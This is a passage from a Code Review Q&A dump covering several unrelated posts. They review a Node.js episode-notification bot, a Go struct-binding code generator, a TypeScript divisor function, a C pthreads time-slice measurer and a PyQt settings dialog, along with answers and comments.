banner,&quot;size&quot;:&quot;full&quot;,&quot;aspectRatio&quot;:&quot;20:9&quot;,&quot;aspectMode&quot;:&quot;cover&quot;,&quot;action&quot;:{&quot;type&quot;:&quot;uri&quot;,&quot;uri&quot;:emLink}},&quot;body&quot;:{&quot;type&quot;:&quot;box&quot;,&quot;layout&quot;:&quot;vertical&quot;,&quot;contents&quot;:[{&quot;type&quot;:&quot;text&quot;,&quot;text&quot;:&quot;New Episode Available&quot;,&quot;weight&quot;:&quot;bold&quot;,&quot;size&quot;:&quot;xl&quot;,&quot;align&quot;:&quot;center&quot;},{&quot;type&quot;:&quot;box&quot;,&quot;layout&quot;:&quot;vertical&quot;,&quot;margin&quot;:&quot;lg&quot;,&quot;spacing&quot;:&quot;sm&quot;,&quot;contents&quot;:[{&quot;type&quot;:&quot;text&quot;,&quot;text&quot;:`Episode ${epNo} is now up!`,&quot;wrap&quot;:true,&quot;align&quot;:&quot;center&quot;}]}]},&quot;footer&quot;:{&quot;type&quot;:&quot;box&quot;,&quot;layout&quot;:&quot;vertical&quot;,&quot;spacing&quot;:&quot;sm&quot;,&quot;contents&quot;:[{&quot;type&quot;:&quot;separator&quot;,&quot;margin&quot;:&quot;xs&quot;},{&quot;type&quot;:&quot;button&quot;,&quot;style&quot;:&quot;link&quot;,&quot;height&quot;:&quot;sm&quot;,&quot;action&quot;:{&quot;type&quot;:&quot;uri&quot;,&quot;label&quot;:&quot;Open Player&quot;,&quot;uri&quot;:emLink},&quot;color&quot;:&quot;#007bff&quot;},{&quot;type&quot;:&quot;button&quot;,&quot;style&quot;:&quot;link&quot;,&quot;height&quot;:&quot;sm&quot;,&quot;action&quot;:{&quot;type&quot;:&quot;uri&quot;,&quot;label&quot;:&quot;Open in Kodi (via custom Kore)&quot;,&quot;uri&quot;:KodiLink},&quot;color&quot;:&quot;#007bff&quot;}],&quot;flex&quot;:0,&quot;offsetBottom&quot;:&quot;5px&quot;}}}]} LineConfig.data = JSON.stringify(data); } function getNextCheck(){ if(job.running) return job.nextDate().fromNow(); else return jobJobber.nextDate().format(&quot;[on] dddd, MMMM Do&quot;); } function setCurEp() { rl.question(&quot;Ep no: &quot;, answer =&gt; { if (answer &lt; 30 &amp;&amp; answer &gt; 0) { LastEp = answer; console.log(` Current Episode Set to ${answer}.`); } else console.log(` Input ${answer} is invalid or out of bounds.`); consoler.emit('getInput'); }); } var lastCheck = () =&gt; console.log(` Last checked on ${job.lastDate()}.\n Next check is ${getNextCheck()}\n Latest Episode is Episode ${LastEp}.`); function currRunJobs() { console.log(&quot; Blog Checker Job is &quot; + (job.running ? &quot;running&quot; : &quot;not running&quot;)); console.log(&quot; BC Initiator Job is &quot; + (jobJobber.running ? &quot;running&quot; : &quot;not running&quot;)); } async function forceCheck() { forcedRunToggle(); await getBlogPost(); console.log(); consoler.emit('getInput'); } function UpdateState() { state.LastEp = LastEp; state.jobRunning = job.running ? true : false; state.forcedRun = forcedRun; fs.writeFileSync(&quot;./saveVar.json&quot;, JSON.stringify(state)); } function forcedRunToggle() { forcedRun ? forcedRun = false : forcedRun = true; UpdateState(); } function jobToggle(){ job.running ? job.stop() : job.start(); UpdateState(); console.log(&quot; Blog Checker Job &quot; + (job.running ? &quot;Started.&quot; : &quot;Stopped.&quot;)); } function getInput() { rl.question('Command: ', answer =&gt; { (answer != 'getInput' &amp;&amp; consoler.eventNames().includes(answer)) ? consoler.emit(answer) : console.log(&quot; No command by that name.&quot;); if ('forceCheck' != answer) consoler.emit('getInput'); }); } jobJobber.start(); consoler.on('getInput', getInput); consoler.on('lastCheck', lastCheck); consoler.on('setCurEp', setCurEp); consoler.on('jobToggle', jobToggle); consoler.on('currRunJobs', currRunJobs); consoler.on('forceCheck', forceCheck); consoler.on('help', () =&gt; console.log(consoler.eventNames())); getInput(); if(jobRunning) { job.start(); getBlogPost() } else if(forcedRun) getBlogPost(); function makeRequest(config) { axios(config) .then( console.log(&quot;Notification sent!&quot;) ) .catch( (error) =&gt; console.log(error) ); } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T00:18:08.447", "Id": "500021", "Score": "1", "body": "It's not a big deal, but you should avoid profanities in error messages. Some people could get offended by that when they run your code, and is best avoided." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T00:34:20.380", "Id": "500022", "Score": "0", "body": "AH sorry, I should've double checked before submitting;;" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T00:37:40.020", "Id": "500024", "Score": "0", "body": "No worries, it happens. Thanks for editing the question." } ]
[ { "body": "<p>There are a bunch of things you can clean up to make the code more clean and professional looking:</p>\n<p><strong>Don't mix modern syntax with obsolete syntax</strong> - there are some syntactical constructs that have no business being in source code nowadays due to their pitfalls and disadvantages compared to more modern constructs. The most prominent issue here is the <code>var</code>s - if you're going to write in ES2015+ (which you should!), there should be no reason to use <code>var</code> - use <code>const</code> instead. (You can also use <code>let</code>, but only when you need to reassign the variable, which should not be common.) ESLint rules (strongly recommended): <a href=\"https://eslint.org/docs/rules/no-var\" rel=\"nofollow noreferrer\"><code>no-var</code></a>, <a href=\"https://eslint.org/docs/rules/prefer-const\" rel=\"nofollow noreferrer\"><code>prefer-const</code></a>.</p>\n<p>There are lots and lots of places in your code where these two rules will show you where you can make improvements.</p>\n<p><strong>Destructure immediately</strong> rather than creating intermediate identifiers whose sole purpose is to have values extracted from them. These lines:</p>\n<pre><code>const CronJob = require('cron').CronJob;\nconst LineToken = process.env.LINE_TOKEN;\nconst jsdom = require(&quot;jsdom&quot;);\nconst { JSDOM } = jsdom;\nvar LastEp = state.LastEp;\nvar jobRunning = state.jobRunning;\nvar forcedRun = state.forcedRun;\n</code></pre>\n<p>can be</p>\n<pre><code>const { CronJob } = require('cron');\nconst { LINE_TOKEN } = process.env;\nconst { JSDOM } = require('jsdom');\nconst { lastEp, jobRunning, forcedRun } = state;\n</code></pre>\n<p><strong>Don't forget semicolons</strong> - unless you're an expert and can avoid the pitfalls of Automatic Semicolon Insertion, omitting semicolons (accidentally or otherwise) will occasionally cause very puzzling bugs. ESLint rule: <a href=\"https://eslint.org/docs/rules/semi\" rel=\"nofollow noreferrer\"><code>semi</code></a> (strongly recommended)</p>\n<p><strong>Avoid unnecessary anonymous wrappers</strong> This:</p>\n<pre><code>new CronJob('0/30 * * * *', () =&gt; getBlogPost(),\n</code></pre>\n<p>can be</p>\n<pre><code>new CronJob('0/30 * * * *', getBlogPost,\n</code></pre>\n<p><strong>Use readable, understandable variable names</strong> For example, someone who isn't familiar with the script might be confused with this:</p>\n<pre><code>if (check.new) {\n console.log(&quot;New ep, creating link...&quot;);\n let newLink = await RD.unrestrict.link(oldLink);\n</code></pre>\n<p>What's <code>RD</code>? It comes from <code>RealDebridClient</code>. Better to call the instance something like <code>realDebridClient</code>. Similarly, <code>beau</code> does not refer to a <a href=\"https://www.merriam-webster.com/dictionary/beau\" rel=\"nofollow noreferrer\">beau</a>, but to json-beautify, so perhaps call it <code>jsonBeautify</code>.</p>\n<p><strong>To check if something is an array</strong>, don't use <code>Object.prototype.toString.call</code> - instead, use <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray\" rel=\"nofollow noreferrer\"><code>Array.isArray</code></a>. Your custom <code>isArray</code> function can be removed entirely.</p>\n<p><strong>Only catch errors where you can meaningfully handle them</strong> - your current code has a bug here:</p>\n<pre><code>let request, json, cherry;\nrequest = await axios.default.get(&quot;https://irozuku.org/fansub/wp-json/wp/v2/posts&quot;).catch( (error) =&gt; console.log(error));\njson = await request.data;\ncherry = {};\n</code></pre>\n<p>If there's an error, despite the <code>.catch</code>, the code will throw, because the <code>request</code> variable will contain <code>undefined</code>. Better to just return the rejected Promise to the caller and let <em>it</em> handle the problem.</p>\n<p><strong>Declare variables as close to where they'll be used</strong> as you can, within reason - this reduces the amount of things a reader of the code will have to keep in their head at once when reading a particular block. This also improves one's ability to declare variables with <code>const</code> (which should be preferred in nearly all circumstances). For example, the above code can be:</p>\n<pre><code>const request = await axios.default.get(&quot;https://irozuku.org/fansub/wp-json/wp/v2/posts&quot;);\nconst json = await request.data;\nlet cherry = {};\n</code></pre>\n<p><strong>Reduce repeated nested property accesses by saving the nested value in a variable</strong>:</p>\n<pre><code>let embedLink = dom.window.document.body.getElementsByTagName('iframe')[0].src\nlet oldLink = dom.window.document.body.getElementsByTagName('a')[0].href\n</code></pre>\n<p>This can be improved. Also, <strong>only use methods that return a collection when you need to use the collection</strong> - if you just want the <em>first element</em> that matches, rather than the whole collection, better to use <code>querySelector</code>. Like this:</p>\n<pre><code>const { document } = dom.window;\nconst embedLink = document.querySelector('iframe');\nconst oldLink = document.querySelector('a').href;\n</code></pre>\n<p>On a broader note: <strong>Separate out functionality into different script files</strong> to separate less-related logic and to make the code easier to navigate around. If a single file contains more than, say, 150 lines, that's <em>often</em> an indicator that refactoring into multiple modules is a good option. You could probably separate this out into at least 5 different modules.</p>\n<p>Just for one example, this long function:</p>\n<pre><code>function UpdateLineData(epNo, emLink, KodiLink, banner) {\n data = {&quot;messages&quot;:[{&quot;type&quot;:&quot;flex&quot;,&quot;altText&quot;:`Episode ${epNo} is Now Available`,&quot;contents&quot;:{&quot;type&quot;:&quot;bubble&quot;,&quot;size&quot;:&quot;giga&quot;,&quot;hero&quot;:{&quot;type&quot;:&quot;image&quot;,&quot;url&quot;: banner,&quot;size&quot;:&quot;full&quot;,&quot;aspectRatio&quot;:&quot;20:9&quot;,&quot;aspectMode&quot;:&quot;cover&quot;,&quot;action&quot;:{&quot;type&quot;:&quot;uri&quot;,&quot;uri&quot;:emLink}},&quot;body&quot;:{&quot;type&quot;:&quot;box&quot;,&quot;layout&quot;:&quot;vertical&quot;,&quot;contents&quot;:[{&quot;type&quot;:&quot;text&quot;,&quot;text&quot;:&quot;New Episode Available&quot;,&quot;weight&quot;:&quot;bold&quot;,&quot;size&quot;:&quot;xl&quot;,&quot;align&quot;:&quot;center&quot;},{&quot;type&quot;:&quot;box&quot;,&quot;layout&quot;:&quot;vertical&quot;,&quot;margin&quot;:&quot;lg&quot;,&quot;spacing&quot;:&quot;sm&quot;,&quot;contents&quot;:[{&quot;type&quot;:&quot;text&quot;,&quot;text&quot;:`Episode ${epNo} is now up!`,&quot;wrap&quot;:true,&quot;align&quot;:&quot;center&quot;}]}]},&quot;footer&quot;:{&quot;type&quot;:&quot;box&quot;,&quot;layout&quot;:&quot;vertical&quot;,&quot;spacing&quot;:&quot;sm&quot;,&quot;contents&quot;:[{&quot;type&quot;:&quot;separator&quot;,&quot;margin&quot;:&quot;xs&quot;},{&quot;type&quot;:&quot;button&quot;,&quot;style&quot;:&quot;link&quot;,&quot;height&quot;:&quot;sm&quot;,&quot;action&quot;:{&quot;type&quot;:&quot;uri&quot;,&quot;label&quot;:&quot;Open Player&quot;,&quot;uri&quot;:emLink},&quot;color&quot;:&quot;#007bff&quot;},{&quot;type&quot;:&quot;button&quot;,&quot;style&quot;:&quot;link&quot;,&quot;height&quot;:&quot;sm&quot;,&quot;action&quot;:{&quot;type&quot;:&quot;uri&quot;,&quot;label&quot;:&quot;Open in Kodi (via custom Kore)&quot;,&quot;uri&quot;:KodiLink},&quot;color&quot;:&quot;#007bff&quot;}],&quot;flex&quot;:0,&quot;offsetBottom&quot;:&quot;5px&quot;}}}]}\n LineConfig.data = JSON.stringify(data);\n}\n</code></pre>\n<p>is currently taking up a <em>lot</em> of horizontal space in the source code. You could put it into its own file <em>and</em> format it so that the general JSON structure is more readable, eg:</p>\n<pre><code>// getLineData.js\nmodule.exports = (epNo, emLink, KodiLink, banner) =&gt; ({\n &quot;messages&quot;: [{\n &quot;type&quot;: &quot;flex&quot;,\n &quot;altText&quot;: `Episode ${epNo} is Now Available`,\n // ....\n});\n</code></pre>\n<pre><code>// main script\nconst getLineData = require('./getLineData.js');\n// ...\nLineConfig.data = getLineData(\n parseInt(cherry.epNo),\n embedLink,\n newLink.download + &quot;.mp4&quot;,\n banner\n);\n</code></pre>\n<p>There are lots of other miscellaneous improvements that can be made, but this should give you a bunch of things to consider for a start.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T00:23:01.483", "Id": "500110", "Score": "0", "body": "`The most prominent issue here is the vars - if you're going to write in ES2015+ (which you should!), there should be no reason to use var - use const instead. `\n\nHmmm, that might be a bit difficult. Since, for example, `forcedRun` is a variable that changes frequently and is used in multiple functions, notably `forcedRunToggle` as it switches it on and off whenever `forceCheck` is emmited. Setting it to a const would make it not be able to be reassigned and setting it to let would not let it be used inside a function which could be a problem for `getBlogPost`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T01:00:03.800", "Id": "500112", "Score": "1", "body": "Why would setting `forcedRun` to `let` make it be unusable inside functions?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T05:36:04.500", "Id": "500116", "Score": "0", "body": "Ah, I was mistaken. For some reason I was under the assumption that if you declared a let statement outside of a function you wouldn't be able to use it without passing it." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-26T17:40:44.427", "Id": "500794", "Score": "0", "body": "Much thanks, My code's a lot cleaner now!" } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T21:56:59.553", "Id": "253594", "ParentId": "253559", "Score": "3" } } ]
{ "AcceptedAnswerId": "253594", "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T00:14:32.857", "Id": "253559", "Score": "4", "Tags": [ "javascript", "performance", "beginner", "node.js" ], "Title": "New TV Episode Checker" }
253559
<p>After making some changes to an API realized I had to manually rewrite too many sections of code. That started me looking at different code generation techniques. I did a bit with Swagger/OpenAPI but it was overkill for what I needed. I found <a href="https://github.com/mholt/binding" rel="nofollow noreferrer">this binding package</a> to help bind <code>http.FormValues</code> to <code>structs</code> but it requires writing redundant code for each struct to work. To simplify things I wrote a small CLI tool that accepts a file, parses it for Go <code>structs</code>, and then generates the necessary binding function based on tags so that if you use <code>//go:generate</code> it will work as seamlessly as <code>json</code> or <code>db</code> tags.</p> <p>This is my first CLI with Go so I'm a bit iffy on my implementation <code>main()</code> but given how small a piece that is compared to the rest I didn't spend any time refactoring int.</p> <p><strong>main.go:</strong></p> <pre><code>package main import ( &quot;flag&quot; &quot;go/ast&quot; &quot;go/parser&quot; &quot;go/token&quot; &quot;os&quot; &quot;reflect&quot; &quot;strings&quot; &quot;text/template&quot; ) // BindTemplate is the top-level struct passed to template.Execute() type BindTemplate struct { Package string Structs []*ParsedStruct } // ParsedStruct represents a single tagged struct to generate bindings for type ParsedStruct struct { Name string Token string Fields map[string]*ParsedTag } // ParsedTag includes the tag value and a bool Required for each field type ParsedTag struct { Value string Required bool } // Example code generated from template with required and optional fields: // // func (p *Person) FieldMap(r *http.Request) binding.FieldMap { // return binding.FieldMap { // &amp;p.Age: &quot;age&quot;, // &amp;p.Name: binding.Field{ // Form: &quot;name&quot;, // Required: true, // }, // } // } const bindTemplateBase = ( `package {{.Package}} import ( &quot;net/http&quot; &quot;github.com/mholt/binding&quot; ) {{ range .Structs }}{{ $token := .Token }}{{ $name := .Name }} func ({{ $token }} *{{ $name }}) FieldMap(r *http.Request) binding.FieldMap { return binding.FieldMap { {{- range $field, $tag := .Fields }} &amp;{{ $token }}.{{ $field }}: {{- if not $tag.Required }} &quot;{{ $tag.Value }}&quot;, {{- else }} binding.Field{ Form: &quot;{{ $tag.Value }}&quot;, Required: true, },{{ end }}{{ end }} } } {{ end -}} `) const requiredFieldFlag = &quot;,required&quot; func generateStructBindings(file, pkg, targetTag string) (*BindTemplate, bool) { fset := token.NewFileSet() f, err := parser.ParseFile(fset, file, nil, 0) if err != nil { panic(err) } bindTemplate := &amp;BindTemplate{ Package: pkg, Structs: make([]*ParsedStruct, 0), } // Parse file Abstract Syntax Tree of file to find any Structs ast.Inspect(f, func(n ast.Node) bool { if typeSpec, ok := n.(*ast.TypeSpec); ok { if structType, ok := typeSpec.Type.(*ast.StructType); ok { // if Struct has any tagged fields add it to bindTemplate.Structs if parsedFields := parseFieldTags(structType, targetTag); len(parsedFields) &gt; 0 { bindTemplate.Structs = append(bindTemplate.Structs, &amp;ParsedStruct{ Name: typeSpec.Name.Name, Token: strings.ToLower(string(typeSpec.Name.Name[0])), Fields: parsedFields, }) } } } return true }) // Return ok == true as long as bindTemplate contains any structs return bindTemplate, len(bindTemplate.Structs) &gt; 0 } func parseFieldTags(structType *ast.StructType, target string) map[string]*ParsedTag { parsedTags := make(map[string]*ParsedTag) // For each field cast non-nil tags to reflect.StructTag and add target value to map for _, field := range structType.Fields.List { if tag := field.Tag; tag != nil { if value, ok := (reflect.StructTag)(strings.Trim(tag.Value, &quot;`&quot;)).Lookup(target); ok { required := false // mholt/binding includes option for required fields that needs to be evaluated if strings.HasSuffix(value, requiredFieldFlag) { value = strings.TrimSuffix(value, requiredFieldFlag) required = true } parsedTags[field.Names[0].Name] = &amp;ParsedTag{value, required} } } } return parsedTags } func main() { pkg := flag.String(&quot;package&quot;, &quot;main&quot;, &quot;package to export bindings to; default = main&quot;) fileIn := flag.String(&quot;f&quot;, &quot;models.go&quot;, &quot;file to generate bindings for; default = models.go&quot;) fileOut := flag.String(&quot;out&quot;, &quot;static.go&quot;, &quot;file to save bindings in; default = bindings.go&quot;) targetTag := flag.String(&quot;tag&quot;, &quot;request&quot;, &quot;tag key to evalute; default = request&quot;) flag.Parse() bindTemplateStruct, ok := generateStructBindings(*fileIn, *pkg, *targetTag) if !ok { panic(&quot;Couldn't bind template&quot;) } f, err := os.OpenFile(*fileOut, os.O_RDWR|os.O_CREATE, 0666) if err != nil { panic(err) } defer f.Close() if tpl, err := template.New(&quot;BindTemplate&quot;).Parse(bindTemplateBase); err == nil { tpl.ExecuteTemplate(f, &quot;BindTemplate&quot;, bindTemplateStruct) } } </code></pre> <p><strong>models.go:</strong></p> <pre><code>package main type PostRequest struct { Summary bool `request:&quot;summary,required&quot;` IDs []int `request:&quot;ids&quot;` Num int `request:&quot;num&quot;` Raw bool `request:&quot;raw&quot;` } type Person struct { Name string `request:&quot;name,required&quot;` Age int `request:&quot;age&quot;` } </code></pre> <p>and running them together with the default cli settings they generate <strong>bindings.go:</strong></p> <pre><code>package main import ( &quot;net/http&quot; &quot;github.com/mholt/binding&quot; ) func (p *PostRequest) FieldMap(r *http.Request) binding.FieldMap { return binding.FieldMap { &amp;p.IDs: &quot;ids&quot;, &amp;p.Num: &quot;num&quot;, &amp;p.Raw: &quot;raw&quot;, &amp;p.Summary: binding.Field{ Form: &quot;summary&quot;, Required: true, }, } } func (p *Person) FieldMap(r *http.Request) binding.FieldMap { return binding.FieldMap { &amp;p.Age: &quot;age&quot;, &amp;p.Name: binding.Field{ Form: &quot;name&quot;, Required: true, }, } } </code></pre>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T04:30:08.243", "Id": "253560", "Score": "0", "Tags": [ "go", "template-meta-programming", "dynamic-loading", "databinding" ], "Title": "Golang parser for code generation and http request binding" }
253560
<p>This is my code:</p> <pre class="lang-js prettyprint-override"><code>export function all_divisors(num: number): number[] { return range(1, num+1).filter(i =&gt; num % i === 0).toArray(); } </code></pre> <p>the <code>range</code> function(<a href="https://aplet123.github.io/iterplus/modules/_util_.html#range" rel="nofollow noreferrer">docs</a>) is part of the <code>IterPlus</code> library and is a pretty self-explanatory inclusive-exclusive range function, again, what I'm doing using the filter function is pretty self-explanatory, <code>.toArray()</code> converts <code>IterPlus&lt;number&gt;</code> to an array <code>number[]</code>.</p> <p>Anyway, I'd like some help optimizing this, as it is pretty slow when working with larger numbers(it took ~190ms for 3,000,000 and ~3ms for 30,000).</p> <p>I don't care about code-golfing, or meant to code-golf in the first place, it was just convienient at the time.</p>
[]
[ { "body": "<p>Welcome to Code Review!</p>\n<p>When factorising a number, you have the property that; if a number <span class=\"math-container\">\\$ a \\$</span> is factor of <span class=\"math-container\">\\$ n \\$</span>, then <span class=\"math-container\">\\$ \\frac{n}{a} \\$</span> is also a factor of <span class=\"math-container\">\\$ n \\$</span>.</p>\n<p>This immediately reduces your loop from <span class=\"math-container\">\\$ 1..n \\$</span> by half to <span class=\"math-container\">\\$ 1..\\frac{n}{2} \\$</span>.</p>\n<p>Now, another optimisation to be done could be memoisation taking into account the property above. If the number <span class=\"math-container\">\\$ \\frac{n}{a} \\$</span> is a factor, then all factors of this number would also be factors for your original number <span class=\"math-container\">\\$ n \\$</span>.</p>\n<p>Next step you can think about is checking only for prime factors, and then using the memoisation of factors from above.</p>\n<p>There are several other factorisation algorithms to efficiently calculate. Take a look at some of such algorithms discussed in <a href=\"https://cp-algorithms.com/algebra/factorization.html\" rel=\"noreferrer\">this article</a>. (<a href=\"https://cp-algorithms.com/algebra/factorization.html\" rel=\"noreferrer\">https://cp-algorithms.com/algebra/factorization.html</a>)</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T17:04:29.403", "Id": "500074", "Score": "2", "body": "You did not mention it, but with the \"another optimisation\" you would just have to loop from 1 to sqrt(n). So it would be O(sqrt(n)) instead of O(n)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T17:08:57.637", "Id": "500075", "Score": "0", "body": "@jjj i was more guiding the op about how thought process for optimisations go. you don't hit the perfect solution in first attempt. also, the link i shared covers the prime factorisation in it" } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T08:13:51.783", "Id": "253565", "ParentId": "253562", "Score": "5" } } ]
{ "AcceptedAnswerId": "253565", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T05:11:44.277", "Id": "253562", "Score": "3", "Tags": [ "javascript", "performance", "mathematics", "typescript" ], "Title": "I need help optimizing a function that returns all divisors" }
253562
<p><br /> A code to check the time slice for each thread separately, it will receive an integer number from the command line for the number of threads to run simultaneously. Would love some feedback on what is possible to be done differently in order to improve it (e.g different functions to use which are more accurate?, etc.).<br /> Thank you.</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;pthread.h&gt; #include &lt;unistd.h&gt; #include &lt;time.h&gt; int curThread = 0; void* f(void* thread_serial); void main(int argc, char* argv[]){ int N;//amount of threads to activate int i;//will be used as an index and thread's serial number int status;//will be used to indicate a failed thread creation int* serials;//will be used to save the serial number of a thread pthread_t* threads; //check if the amount of parameters is valid if (argc &lt; 2){ printf(&quot;ERROR - missing parameters\n&quot;); exit(EXIT_FAILURE); } N = atoi(argv[1]);//saves the amount of threads provided by the user threads = (pthread_t*)malloc(N * sizeof(pthread_t));//allocate threads serials = (int*)malloc(N * sizeof(int));//allocate array for the serial number of threads //check if allocation failed if (threads == NULL || serials == NULL){ printf(&quot;ERROR - memory allocation failed!&quot;); exit(EXIT_FAILURE); } for (i = 0; i &lt; N; i++){ serials[i] = i + 1; //create new thread status = pthread_create(&amp;threads[i], NULL, f, (void*)&amp;serials[i]); //check if thread allocation failed if (status != 0){ printf(&quot;ERROR - failed to create a thread&quot;); exit(EXIT_FAILURE); } } sleep(2); free(threads); free(serials); } void* f(void* thread_serial){ int k = *(int*)thread_serial; struct timeval thread1, thread2; double elapsedTime; while(1){ gettimeofday(&amp;thread1, NULL);//start the timer curThread = k;//get the thread serial //while on the same thread while (curThread == k) gettimeofday(&amp;thread2, NULL); //update the timer //compute and print the elapsed time in millisec elapsedTime = (thread2.tv_sec - thread1.tv_sec) * 1000.0;//sec to ms elapsedTime += (thread2.tv_usec - thread1.tv_usec) / 1000.0;//us to ms printf(&quot;Time slice for thread %d = %lf ms.\n&quot;, curThread, elapsedTime); } } </code></pre> <p>One possible output:</p> <pre><code>Time slice for thread 1 = 54.410000 ms. Time slice for thread 2 = 10.530000 ms. Time slice for thread 3 = 44.491000 ms. Time slice for thread 5 = 66.553000 ms. Time slice for thread 4 = 56.311000 ms. Time slice for thread 1 = 44.143000 ms. Time slice for thread 3 = 43.631000 ms. Time slice for thread 5 = 78.483000 ms. Time slice for thread 2 = 56.536000 ms. Time slice for thread 4 = 55.217000 ms. Time slice for thread 1 = 56.470000 ms. Time slice for thread 3 = 56.644000 ms. Time slice for thread 5 = 43.937000 ms. Time slice for thread 4 = 45.256000 ms. </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T13:00:25.167", "Id": "500142", "Score": "0", "body": "Can you add some more details about your program? What's the output supposed to show? What do you mean by time slice in this context?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T17:15:07.697", "Id": "500167", "Score": "0", "body": "@Zeta The program finds the approximate time needed to for each thread (separately) to finish it's run. For example, if 5 threads are created, then the thread will take the start time (in f function) and while that same thread is running it will get another time (for finish), and print the finish minus start time of that same thread run, when another thread starts running, it's ID (serial) will be different, thus making those calculations for this \"new\" thread." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T17:15:34.257", "Id": "500168", "Score": "0", "body": "@Zeta (answer was too long to write in one comment, here's the rest) Since the loop is an infinite loop, the program will keep changing between the threads and print each of their run time (until the program finishes it's run)." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T09:39:49.617", "Id": "253567", "Score": "1", "Tags": [ "c", "pthreads" ], "Title": "Time slice for thread check" }
253567
<p>Suppose you have a main window and open a dialog to do some kind of specific operation on your data. The dialog has interactive elements such as QSpinBoxes and QComboBoxes that determine properties of the operation. For convenience, the default (or most recent) values are stored in the project data, and are updated according to the values held by the interactive elements whenever the dialog is closed with acceptance.</p> <p>Since I use Qt Designer to create the interfaces, my approach is to make use of the <code>accessibleName</code> attribute (I've yet to figure out what it is actually intended for) and give all the interactive elements a unique <code>accessibleName</code>. I then store the default values in a <code>dict</code> in the main window, from where they are passed on to the dialog when it is opened. During the dialog's initialization, a crawler scans through the dialog's layer to find all the elements with an <code>accessibleName</code> and sets their values according to the settings <code>dict</code>.</p> <p>Here is some code to show how I handle that situation at the moment:</p> <pre><code>from PyQt5.QtWidgets import ( QMainWindow, QDialog, QLayout, QGroupBox, QDoubleSpinBox, QSpinBox, QTimeEdit, QCheckBox, QRadioButton, QComboBox ) from PyQt5.uic import loadUi class MainWindow(QMainWindow): def __init__(self): super().__init__() loadUi('main_window.ui', self) self._operation_settings = { 'spinbox': 1, 'combobox': { 'names': ['item1', 'item2', 'item3'], 'selected': 0, }, 'groupbox': True, } def _open_operation_dialog(self): dialog = OperationsDialog(self._operation_settings) dialog.exec_() class OperationsDialog(QDialog): def __init__(self, settings): super().__init__() loadUi('operations_dialog.ui', self) self._settings = settings self._interactive_elements = \ collect_interactive_elements(self.layout()) self._setup_interactive_elements() def _setup_interactive_elements(self) -&gt; None: elements = self._interactive_elements for key, value in self._settings.items(): if isinstance(elements[key], (QDoubleSpinBox, QSpinBox)): elements[key].setValue(value) elif isinstance(elements[key], (QCheckBox, QRadioButton)): elements[key].setChecked(value) elif ( isinstance(elements[key], QGroupBox) and elements[key].isCheckable() ): elements[key].toggled.connect(self._toggle_group_box) elements[key].setChecked(value) elif isinstance(elements[key], QComboBox): elements[key].addItems(value['names']) elements[key].setCurrentIndex(value['selected']) elif isinstance(elements[key], QTimeEdit): elements[key].setTime(value) def accept(self) -&gt; None: self._update_settings() super().accept() def _update_settings(self) -&gt; None: for key, element in self._interactive_elements.items(): if isinstance(element, (QDoubleSpinBox, QSpinBox)): self._settings[key] = element.value() elif isinstance(element, (QGroupBox, QCheckBox, QRadioButton)): self._settings[key] = element.isChecked() elif isinstance(element, QComboBox): self._settings[key]['selected'] = element.currentIndex() elif isinstance(element, QTimeEdit): self._settings[key] = element.time() def collect_interactive_elements(layout: QLayout) -&gt; dict: elements = {} crawl(layout, elements) return elements def crawl(layout: QLayout, elements: dict) -&gt; None: for i in range(layout.count()): child = layout.itemAt(i) if child.widget() is not None: widget = child.widget() if widget.accessibleName(): elements[widget.accessibleName()] = widget if isinstance(widget, QGroupBox): crawl(widget.layout(), elements) elif isinstance(widget, QGroupBox): crawl(widget.layout(), elements) elif child.layout() is not None: crawl(child.layout(), elements) </code></pre> <p>Is this an okay way to do it? How is something like this usually done?</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T13:03:00.507", "Id": "500055", "Score": "0", "body": "Welcome to the Code Review Community where we review code that is working as expected and provide suggestions on how to improve that code. Asking a `how to question` generally indicates the code isn't working as expected. If the code is working as expected please change the title of the question to indicate what the code is doing." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T13:08:11.763", "Id": "500057", "Score": "0", "body": "Hi, thanks for letting me know. I changed the title." } ]
